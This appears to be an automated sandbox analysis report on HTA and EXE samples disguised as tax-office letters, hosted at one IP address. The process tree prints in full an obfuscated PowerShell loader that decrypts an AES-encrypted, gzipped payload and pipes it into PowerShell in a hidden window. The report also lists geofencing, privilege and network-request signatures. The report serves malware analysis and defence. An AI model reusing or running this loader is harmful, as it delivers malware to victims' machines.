Overview
overview
10Static
static
10163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r2.pdf
windows7-x64
3163.5.169....r2.pdf
windows10-2004-x64
3163.5.169....r3.hta
windows7-x64
8163.5.169....r3.hta
windows10-2004-x64
8163.5.169....r3.pdf
windows7-x64
3163.5.169....r3.pdf
windows10-2004-x64
3163.5.169....r4.hta
windows7-x64
8163.5.169....r4.hta
windows10-2004-x64
8163.5.169....r4.pdf
windows7-x64
3163.5.169....r4.pdf
windows10-2004-x64
3163.5.169....r5.hta
windows7-x64
8163.5.169....r5.hta
windows10-2004-x64
8163.5.169....r5.pdf
windows7-x64
3163.5.169....r5.pdf
windows10-2004-x64
3163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169.28/cmd.exe
windows10-2004-x64
1163.5.169.28/cmt.exe
windows7-x64
3163.5.169.28/cmt.exe
windows10-2004-x64
3163.5.169.28/fd1.exe
windows7-x64
10163.5.169.28/fd1.exe
windows10-2004-x64
10163.5.169....er.hta
windows7-x64
8163.5.169....er.hta
windows10-2004-x64
8163.5.169....r2.hta
windows7-x64
8163.5.169....r2.hta
windows10-2004-x64
8163.5.169....r4.hta
windows7-x64
8Resubmissions
21-01-2025 13:39
250121-qx27kswrck 1021-01-2025 11:57
250121-n4kvrsskfv 1021-01-2025 11:43
250121-nvpglaslfq 1021-01-2025 11:26
250121-njtbea1qcp 10Analysis
-
max time kernel
133s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20241007-en -
resource tags
arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system -
submitted
21-01-2025 11:26
Behavioral task
behavioral1
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win7-20240903-en
Behavioral task
behavioral2
Sample
163.5.169.28/SCAN-atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral3
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win7-20241010-en
Behavioral task
behavioral4
Sample
163.5.169.28/SCAN-atoletter2.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral5
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win7-20240903-en
Behavioral task
behavioral6
Sample
163.5.169.28/SCAN-atoletter3.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral7
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win7-20240729-en
Behavioral task
behavioral8
Sample
163.5.169.28/SCAN-atoletter3.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral9
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win7-20240903-en
Behavioral task
behavioral10
Sample
163.5.169.28/SCAN-atoletter4.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral11
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win7-20240903-en
Behavioral task
behavioral12
Sample
163.5.169.28/SCAN-atoletter4.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral13
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win7-20240903-en
Behavioral task
behavioral14
Sample
163.5.169.28/SCAN-atoletter5.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral15
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win7-20240903-en
Behavioral task
behavioral16
Sample
163.5.169.28/SCAN-atoletter5.pdf
Resource
win10v2004-20241007-en
Behavioral task
behavioral17
Sample
163.5.169.28/ato_letter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral18
Sample
163.5.169.28/ato_letter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral19
Sample
163.5.169.28/atoletter.hta
Resource
win7-20241010-en
Behavioral task
behavioral20
Sample
163.5.169.28/atoletter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral21
Sample
163.5.169.28/atoletter2.hta
Resource
win7-20240729-en
Behavioral task
behavioral22
Sample
163.5.169.28/atoletter2.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral23
Sample
163.5.169.28/cmd.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral24
Sample
163.5.169.28/cmt.exe
Resource
win7-20240903-en
Behavioral task
behavioral25
Sample
163.5.169.28/cmt.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral26
Sample
163.5.169.28/fd1.exe
Resource
win7-20240903-en
Behavioral task
behavioral27
Sample
163.5.169.28/fd1.exe
Resource
win10v2004-20241007-en
Behavioral task
behavioral28
Sample
163.5.169.28/letter.hta
Resource
win7-20240903-en
Behavioral task
behavioral29
Sample
163.5.169.28/letter.hta
Resource
win10v2004-20241007-en
Behavioral task
behavioral30
Sample
163.5.169.28/letter2.hta
Resource
win7-20241010-en
Behavioral task
behavioral31
Sample
163.5.169.28/letter2.hta
Resource
win10v2004-20241007-en
General
-
Target
163.5.169.28/ato_letter2.hta
-
Size
1.1MB
-
MD5
54ff1471d93aa84c94efd8cbae4c6c78
-
SHA1
11c7d8cd8e02b27aee846c353c32b114a7daa3bf
-
SHA256
e1869d3a88c9190cf43014e3cb48562fc220ff7f6d5baed77c7dfa1c84c5d530
-
SHA512
5eed6c7f0ffc27e96349fa8fc7c959e87ff35561da2b811f2e59c0fa0bd42f53debd4079da4c1df133b8211c38ef48f03b3f8b5471370bcf6ed79d240fdde804
-
SSDEEP
1536:SwxapK31kELNEZ1fos0mr/l1vcmafSIm+lIWFR9UU5gou0gQixFaVEYkEOvMXu+f:SOapK31RBEDws7g
Malware Config
Signatures
-
Blocklisted process makes network request 2 IoCs
flow pid Process 13 1240 powershell.exe 17 1240 powershell.exe -
pid Process 3200 powershell.exe 2524 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-493223053-2004649691-1575712786-1000\Control Panel\International\Geo\Nation mshta.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 5 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language mshta.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language powershell.exe -
Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2524 powershell.exe 2524 powershell.exe 1240 powershell.exe 3200 powershell.exe 3200 powershell.exe 1240 powershell.exe -
Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2524 powershell.exe Token: SeDebugPrivilege 1240 powershell.exe Token: SeDebugPrivilege 3200 powershell.exe Token: SeIncreaseQuotaPrivilege 1240 powershell.exe Token: SeSecurityPrivilege 1240 powershell.exe Token: SeTakeOwnershipPrivilege 1240 powershell.exe Token: SeLoadDriverPrivilege 1240 powershell.exe Token: SeSystemProfilePrivilege 1240 powershell.exe Token: SeSystemtimePrivilege 1240 powershell.exe Token: SeProfSingleProcessPrivilege 1240 powershell.exe Token: SeIncBasePriorityPrivilege 1240 powershell.exe Token: SeCreatePagefilePrivilege 1240 powershell.exe Token: SeBackupPrivilege 1240 powershell.exe Token: SeRestorePrivilege 1240 powershell.exe Token: SeShutdownPrivilege 1240 powershell.exe Token: SeDebugPrivilege 1240 powershell.exe Token: SeSystemEnvironmentPrivilege 1240 powershell.exe Token: SeRemoteShutdownPrivilege 1240 powershell.exe Token: SeUndockPrivilege 1240 powershell.exe Token: SeManageVolumePrivilege 1240 powershell.exe Token: 33 1240 powershell.exe Token: 34 1240 powershell.exe Token: 35 1240 powershell.exe Token: 36 1240 powershell.exe Token: SeIncreaseQuotaPrivilege 1240 powershell.exe Token: SeSecurityPrivilege 1240 powershell.exe Token: SeTakeOwnershipPrivilege 1240 powershell.exe Token: SeLoadDriverPrivilege 1240 powershell.exe Token: SeSystemProfilePrivilege 1240 powershell.exe Token: SeSystemtimePrivilege 1240 powershell.exe Token: SeProfSingleProcessPrivilege 1240 powershell.exe Token: SeIncBasePriorityPrivilege 1240 powershell.exe Token: SeCreatePagefilePrivilege 1240 powershell.exe Token: SeBackupPrivilege 1240 powershell.exe Token: SeRestorePrivilege 1240 powershell.exe Token: SeShutdownPrivilege 1240 powershell.exe Token: SeDebugPrivilege 1240 powershell.exe Token: SeSystemEnvironmentPrivilege 1240 powershell.exe Token: SeRemoteShutdownPrivilege 1240 powershell.exe Token: SeUndockPrivilege 1240 powershell.exe Token: SeManageVolumePrivilege 1240 powershell.exe Token: 33 1240 powershell.exe Token: 34 1240 powershell.exe Token: 35 1240 powershell.exe Token: 36 1240 powershell.exe Token: SeIncreaseQuotaPrivilege 1240 powershell.exe Token: SeSecurityPrivilege 1240 powershell.exe Token: SeTakeOwnershipPrivilege 1240 powershell.exe Token: SeLoadDriverPrivilege 1240 powershell.exe Token: SeSystemProfilePrivilege 1240 powershell.exe Token: SeSystemtimePrivilege 1240 powershell.exe Token: SeProfSingleProcessPrivilege 1240 powershell.exe Token: SeIncBasePriorityPrivilege 1240 powershell.exe Token: SeCreatePagefilePrivilege 1240 powershell.exe Token: SeBackupPrivilege 1240 powershell.exe Token: SeRestorePrivilege 1240 powershell.exe Token: SeShutdownPrivilege 1240 powershell.exe Token: SeDebugPrivilege 1240 powershell.exe Token: SeSystemEnvironmentPrivilege 1240 powershell.exe Token: SeRemoteShutdownPrivilege 1240 powershell.exe Token: SeUndockPrivilege 1240 powershell.exe Token: SeManageVolumePrivilege 1240 powershell.exe Token: 33 1240 powershell.exe Token: 34 1240 powershell.exe -
Suspicious use of WriteProcessMemory 12 IoCs
description pid Process procid_target PID 5036 wrote to memory of 2524 5036 mshta.exe 83 PID 5036 wrote to memory of 2524 5036 mshta.exe 83 PID 5036 wrote to memory of 2524 5036 mshta.exe 83 PID 2524 wrote to memory of 4832 2524 powershell.exe 85 PID 2524 wrote to memory of 4832 2524 powershell.exe 85 PID 2524 wrote to memory of 4832 2524 powershell.exe 85 PID 4832 wrote to memory of 3200 4832 cmd.exe 88 PID 4832 wrote to memory of 3200 4832 cmd.exe 88 PID 4832 wrote to memory of 3200 4832 cmd.exe 88 PID 4832 wrote to memory of 1240 4832 cmd.exe 89 PID 4832 wrote to memory of 1240 4832 cmd.exe 89 PID 4832 wrote to memory of 1240 4832 cmd.exe 89
Processes
-
C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\163.5.169.28\ato_letter2.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- Checks computer location settings
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:5036 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted Start-Process 'cmd.exe' -WindowStyle hidden -ArgumentList {/c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell - }2⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2524 -
C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" /c powershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn | powershell -3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:4832 -
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell.exe $HeikUII = 'AAAAAAAAAAAAAAAAAAAAAJUqOuW4KC6NBAvMfuqK6bp8mGb6bLm9fWAzjp5jn2QEw1DPIAEVLR/tM1tCOABSJYRJIHsHR+nwBtm/eM3I4TTMXEl/ET9CnIbNyvlt9/LNK1ip+uHxXawFKuZDcM0aZtYYe0NhVAm2cqLZRezYxIP823MoH345L2oPsU/6qv3e6g7/iM9o/BVj0e6LhtUV/LwvA2y8SMIyzvW6Rj9MOWuoo5XUYhYSSit4x9Hpn6LHbZBbpW4rMdUxi3ATLDlKoEf0ZlThOxM9di4jM96Tov2ZVqD3Z25V2DxXbkgCdfuHSu7Tooif4YOU9/3JOuRksBwJWYcJ/JFWZAw6/jelCh7i3M6i6V4QSX+fbsJ8CEawMAVCsEHorjcl+DUqZ9Lzsanb3FtB0GJhJUPhvNBZSS9QpBdKbuQnOWC0BBbJIzCRtxKiM26p2m2M/k+QoZIMMSuhVkj5rfIzRuWIdrFxftSMHly9ShtWAqvLz3oX/BuQShbNWHUUe+/N9jMmQeNa6pVq4Y8EfDBgMfrIdsEOu70AWm4FX3LyK5ybwUXhVrgjuPTzSiaZtFFWGtseCLOv5b4HDcOwji4TJjO7BSqcmfz5gk4hzX2m3Gc4iafh9JfgLdkI2OFBKGZ3nngRvgzwPXYBIhqYS+r6NJWTRnREQ2FLRd38VmAa5arOcvP7IF4DG/ofVajmN9oIRJfWm4z0LW7xZJ27y6hZy5Ol7xPcumURWTr9iCTw9Rgb6lWAwkimXI4qGUIYjctFodN9qoPSsic/NCPDFyhKu9epCQ9nl4QVCzvxfSGvM7KllLg3Plv0QdDTJbWOQufrtzK51hDZR2Mz5UqPKtOqYIj+lnQfkLgdetwhGRtXY8fRTn9IxEleTtaYsMHls8d5tF0ZcH1Qgi1HHUXiBV8Lt4uHmZdsQoGMO7ZrToHgDEVe7QlOKRPvsEfjhObpc7ozW7iRXL6kUAXUIj8zbeCrj5evGSp4ELA8XoFZ9lCBQv7XVk/2HqhP/lDfU+MXM5hzNUj9ugx06eJBK4Fh4r2yMpj43uG5Om4=';$JNqAj = 'TG9HTmhqa2hYUWhoRHdiSVRNZm1kekxRRGVVam1uVVY=';$lYZTTWkh = New-Object 'System.Security.Cryptography.AesManaged';$lYZTTWkh.Mode = [System.Security.Cryptography.CipherMode]::ECB;$lYZTTWkh.Padding = [System.Security.Cryptography.PaddingMode]::Zeros;$lYZTTWkh.BlockSize = 128;$lYZTTWkh.KeySize = 256;$lYZTTWkh.Key = [System.Convert]::FromBase64String($JNqAj);$zlRIi = [System.Convert]::FromBase64String($HeikUII);$HyakcEgs = $zlRIi[0..15];$lYZTTWkh.IV = $HyakcEgs;$lfJyAqixo = $lYZTTWkh.CreateDecryptor();$JvbLhIVwZ = $lfJyAqixo.TransformFinalBlock($zlRIi, 16, $zlRIi.Length - 16);$lYZTTWkh.Dispose();$JExI = New-Object System.IO.MemoryStream( , $JvbLhIVwZ );$PcPXihBj = New-Object System.IO.MemoryStream;$HbjrfOhba = New-Object System.IO.Compression.GzipStream $JExI, ([IO.Compression.CompressionMode]::Decompress);$HbjrfOhba.CopyTo( $PcPXihBj );$HbjrfOhba.Close();$JExI.Close();[byte[]] $vpbeKa = $PcPXihBj.ToArray();$JVZpEn = [System.Text.Encoding]::UTF8.GetString($vpbeKa);$JVZpEn4⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3200
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -4⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1240
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
1KB
MD5def65711d78669d7f8e69313be4acf2e
SHA16522ebf1de09eeb981e270bd95114bc69a49cda6
SHA256aa1c97cdbce9a848f1db2ad483f19caa535b55a3a1ef2ad1260e0437002bc82c
SHA51205b2f9cd9bc3b46f52fded320b68e05f79b2b3ceaeb13e5d87ae9f8cd8e6c90bbb4ffa4da8192c2bfe0f58826cabff2e99e7c5cc8dd47037d4eb7bfc6f2710a7
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Filesize
15KB
MD5063d76cec88ac2756bb3c3f8be4d0f6f
SHA14fb72e940be68e9e97dee7253cf282762c73e6a5
SHA2566edcba317c691d84bc13618e3986f698ac60ed8f5e3d4eadc506400fc89cf898
SHA5124627e55f0423863e856afc4814cc5ba1d7847adf1a163d6fcdb39ce540115b789c56642703d235c5a19da1c265834300d266e93abe536599ed6ac069a90394aa
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82